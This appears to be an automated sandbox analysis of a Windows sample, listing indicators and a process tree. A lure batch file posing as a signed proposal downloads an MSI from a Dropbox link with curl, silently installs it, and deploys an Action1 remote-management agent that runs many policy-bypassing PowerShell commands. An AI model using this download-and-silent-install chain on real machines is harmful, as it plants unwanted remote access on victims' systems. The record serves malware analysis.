pid Process 4932 msiexec.exe 4932 msiexec.exe 4272 powershell.exe 4272 powershell.exe 4272 powershell.exe 2852 powershell.exe 2852 powershell.exe 3248 powershell.exe 3248 powershell.exe 3248 powershell.exe 3248 powershell.exe 3248 powershell.exe 3248 powershell.exe 5056 powershell.exe 5056 powershell.exe 5056 powershell.exe 5648 powershell.exe 5648 powershell.exe 5648 powershell.exe 5648 powershell.exe 5648 powershell.exe 5648 powershell.exe 6016 powershell.exe 6016 powershell.exe 6016 powershell.exe 1360 powershell.exe 1360 powershell.exe 1360 powershell.exe 4944 powershell.exe 4944 powershell.exe 4944 powershell.exe 4648 powershell.exe 4648 powershell.exe 4648 powershell.exe 3736 powershell.exe 3736 powershell.exe 3736 powershell.exe 5736 powershell.exe 5736 powershell.exe 5736 powershell.exe 476 powershell.exe 476 powershell.exe 476 powershell.exe 3824 powershell.exe 3824 powershell.exe 3824 powershell.exe 2248 powershell.exe 2248 powershell.exe 2248 powershell.exe 4448 powershell.exe 4448 powershell.exe 4448 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe 4392 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4260 msiexec.exe Token: SeIncreaseQuotaPrivilege 4260 msiexec.exe Token: SeSecurityPrivilege 4932 msiexec.exe Token: SeCreateTokenPrivilege 4260 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4260 msiexec.exe Token: SeLockMemoryPrivilege 4260 msiexec.exe Token: SeIncreaseQuotaPrivilege 4260 msiexec.exe Token: SeMachineAccountPrivilege 4260 msiexec.exe Token: SeTcbPrivilege 4260 msiexec.exe Token: SeSecurityPrivilege 4260 msiexec.exe Token: SeTakeOwnershipPrivilege 4260 msiexec.exe Token: SeLoadDriverPrivilege 4260 msiexec.exe Token: SeSystemProfilePrivilege 4260 msiexec.exe Token: SeSystemtimePrivilege 4260 msiexec.exe Token: SeProfSingleProcessPrivilege 4260 msiexec.exe Token: SeIncBasePriorityPrivilege 4260 msiexec.exe Token: SeCreatePagefilePrivilege 4260 msiexec.exe Token: SeCreatePermanentPrivilege 4260 msiexec.exe Token: SeBackupPrivilege 4260 msiexec.exe Token: SeRestorePrivilege 4260 msiexec.exe Token: SeShutdownPrivilege 4260 msiexec.exe Token: SeDebugPrivilege 4260 msiexec.exe Token: SeAuditPrivilege 4260 msiexec.exe Token: SeSystemEnvironmentPrivilege 4260 msiexec.exe Token: SeChangeNotifyPrivilege 4260 msiexec.exe Token: SeRemoteShutdownPrivilege 4260 msiexec.exe Token: SeUndockPrivilege 4260 msiexec.exe Token: SeSyncAgentPrivilege 4260 msiexec.exe Token: SeEnableDelegationPrivilege 4260 msiexec.exe Token: SeManageVolumePrivilege 4260 msiexec.exe Token: SeImpersonatePrivilege 4260 msiexec.exe Token: SeCreateGlobalPrivilege 4260 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeShutdownPrivilege 4344 MsiExec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeDebugPrivilege 4272 powershell.exe Token: SeBackupPrivilege 2136 action1_agent.exe Token: SeBackupPrivilege 2136 action1_agent.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe Token: SeRestorePrivilege 4932 msiexec.exe Token: SeTakeOwnershipPrivilege 4932 msiexec.exe - Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 4260 msiexec.exe 4932 msiexec.exe 5612 MsiExec.exe 4344 MsiExec.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 6036 wrote to memory of 1296 6036 cmd.exe 90 PID 1296 wrote to memory of 2964 1296 net.exe 91 PID 6036 wrote to memory of 5648 6036 cmd.exe 92 PID 6036 wrote to memory of 4260 6036 cmd.exe 93 PID 4932 wrote to memory of 5612 4932 msiexec.exe 95 PID 4932 wrote to memory of 4344 4932 msiexec.exe 96 PID 2136 wrote to memory of 4272 2136 action1_agent.exe 99 PID 6036 wrote to memory of 5784 6036 cmd.exe 101 PID 6036 wrote to memory of 796 6036 cmd.exe 102 PID 2136 wrote to memory of 2852 2136 action1_agent.exe 103 PID 2852 wrote to memory of 3352 2852 powershell.exe 108 PID 2136 wrote to memory of 3248 2136 action1_agent.exe 109 PID 2136 wrote to memory of 5056 2136 action1_agent.exe 113 PID 5056 wrote to memory of 2308 5056 powershell.exe 115 PID 2136 wrote to memory of 5648 2136 action1_agent.exe 116 PID 2136 wrote to memory of 6016 2136 action1_agent.exe 118 PID 2136 wrote to memory of 1360 2136 action1_agent.exe 120 PID 2136 wrote to memory of 4944 2136 action1_agent.exe 188 PID 2136 wrote to memory of 4648 2136 action1_agent.exe 124 PID 2136 wrote to memory of 3736 2136 action1_agent.exe 126 PID 2136 wrote to memory of 5736 2136 action1_agent.exe 128 PID 2136 wrote to memory of 476 2136 action1_agent.exe 130 PID 2136 wrote to memory of 3824 2136 action1_agent.exe 132 PID 2136 wrote to memory of 2248 2136 action1_agent.exe 134 PID 2136 wrote to memory of 4448 2136 action1_agent.exe 201 PID 2136 wrote to memory of 4392 2136 action1_agent.exe 138 PID 4392 wrote to memory of 4752 4392 powershell.exe 206 PID 4392 wrote to memory of 1456 4392 powershell.exe 141 PID 4392 wrote to memory of 3252 4392 powershell.exe 142 PID 4392 wrote to memory of 5892 4392 powershell.exe 143 PID 4392 wrote to memory of 1040 4392 powershell.exe 144 PID 4392 wrote to memory of 2992 4392 powershell.exe 145 PID 4392 wrote to memory of 796 4392 powershell.exe 146 PID 4392 wrote to memory of 3348 4392 powershell.exe 147 PID 4392 wrote to memory of 4620 4392 powershell.exe 148 PID 4392 wrote to memory of 3344 4392 powershell.exe 149 PID 4392 wrote to memory of 1248 4392 powershell.exe 150 PID 4392 wrote to memory of 1508 4392 powershell.exe 151 PID 4392 wrote to memory of 1000 4392 powershell.exe 152 PID 4392 wrote to memory of 5008 4392 powershell.exe 153 PID 4392 wrote to memory of 3352 4392 powershell.exe 154 PID 4392 wrote to memory of 5628 4392 powershell.exe 155 PID 2136 wrote to memory of 2340 2136 action1_agent.exe 156 PID 2136 wrote to memory of 5880 2136 action1_agent.exe 158 PID 5880 wrote to memory of 3124 5880 powershell.exe 160 PID 2136 wrote to memory of 4388 2136 action1_agent.exe 161 PID 2136 wrote to memory of 1624 2136 action1_agent.exe 163 PID 2136 wrote to memory of 4724 2136 action1_agent.exe 165 PID 2136 wrote to memory of 4584 2136 action1_agent.exe 167 PID 2136 wrote to memory of 1960 2136 action1_agent.exe 169 PID 1960 wrote to memory of 256 1960 powershell.exe 171 PID 256 wrote to memory of 5828 256 csc.exe 172 PID 2136 wrote to memory of 4844 2136 action1_agent.exe 173 PID 2136 wrote to memory of 5968 2136 action1_agent.exe 175 PID 2136 wrote to memory of 1056 2136 action1_agent.exe 177 PID 2136 wrote to memory of 4644 2136 action1_agent.exe 179 PID 2136 wrote to memory of 2460 2136 action1_agent.exe 181 PID 2136 wrote to memory of 5488 2136 action1_agent.exe 183 PID 2136 wrote to memory of 4492 2136 action1_agent.exe 185 PID 2136 wrote to memory of 4260 2136 action1_agent.exe 187 PID 2136 wrote to memory of 5804 2136 action1_agent.exe 189 PID 2136 wrote to memory of 1420 2136 action1_agent.exe 191 PID 2136 wrote to memory of 4268 2136 action1_agent.exe 193 PID 2136 wrote to memory of 5780 2136 action1_agent.exe 195 - cURL User-Agent 2 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 5 curl/8.8.0 HTTP User-Agent header 11 curl/8.8.0
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Signing_Complete_Proposal Ref#40654.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6036 -
C:\Windows\system32\net.exenet session2⤵
- Suspicious use of WriteProcessMemory
PID:1296 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:2964
-
-
-
C:\Windows\system32\curl.execurl.exe -L --fail --silent --show-error --connect-timeout 15 --max-time 300 -o "C:\Users\Admin\AppData\Local\Temp\Workspace_agent-My_Organization.msi" "https://www.dropbox.com/scl/fi/5t6ystx0rtdh7rqdy2ysn/Workspace_agent-My_Organization.msi?rlkey=7drhc4uf8l9zvgcrhfajggwkp&st=3eq60np9&dl=1"2⤵PID:5648
-
-
C:\Windows\system32\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\Workspace_agent-My_Organization.msi" /quiet /qn /norestart /L*v "C:\Users\Admin\AppData\Local\Temp\workspace_agent_msi.log"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4260
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Action1"2⤵PID:5784
-
-
C:\Windows\system32\reg.exereg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s /f "Action1"2⤵PID:796
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4932 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding D297B943737FE385F517570E40DD18262⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5612
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6E3924ACBFDD99AAB670E9C811E8A8C6 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4344
-
-
C:\Windows\Action1\action1_agent.exeC:\Windows\Action1\action1_agent.exe service1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4272
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3352
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3248
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2308
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5648
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:6016
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1360
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4944
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4648
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3736
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5736
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:476
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3824
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2248
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4448
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 130.213.27.1763⤵PID:4752
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 150.171.109.1483⤵PID:1456
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 54.227.102.1123⤵PID:3252
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 199.232.214.1723⤵PID:5892
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 23.11.40.1573⤵PID:1040
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 85.210.193.1523⤵PID:2992
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 85.210.193.1523⤵PID:796
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 23.11.40.1573⤵PID:3348
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 23.11.40.1573⤵PID:4620
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 199.232.214.1723⤵PID:3344
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 199.232.214.1723⤵PID:1248
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 40.126.32.763⤵PID:1508
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 10.127.0.13⤵PID:1000
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 10.127.0.13⤵PID:5008
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 10.127.0.13⤵PID:3352
-
-
C:\Windows\system32\nslookup.exe"C:\Windows\system32\nslookup.exe" 10.127.0.13⤵PID:5628
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:2340
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
PID:5880 -
C:\Windows\Action1\action1_agent.exe"C:\Windows\Action1\action1_agent.exe" loggedonuser3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3124
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:4388
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:1624
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
PID:4724
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
PID:4584
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\SystemTemp\20t1hz0r\20t1hz0r.cmdline"3⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:256 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\SystemTemp\RES84A2.tmp" "c:\Windows\SystemTemp\20t1hz0r\CSCF01781042893470AB8CCF2C16FAE8DE8.TMP"4⤵PID:5828
-
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
PID:4844
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:5968
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:1056
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:4644
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:2460
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:5488
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:4492
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
PID:4260 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4944
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
PID:5804
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:1420
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:4268
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
PID:5780
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
PID:4876
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
PID:5136
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:4448
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command -2⤵
- Enumerates connected drives
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
PID:3484
-
-
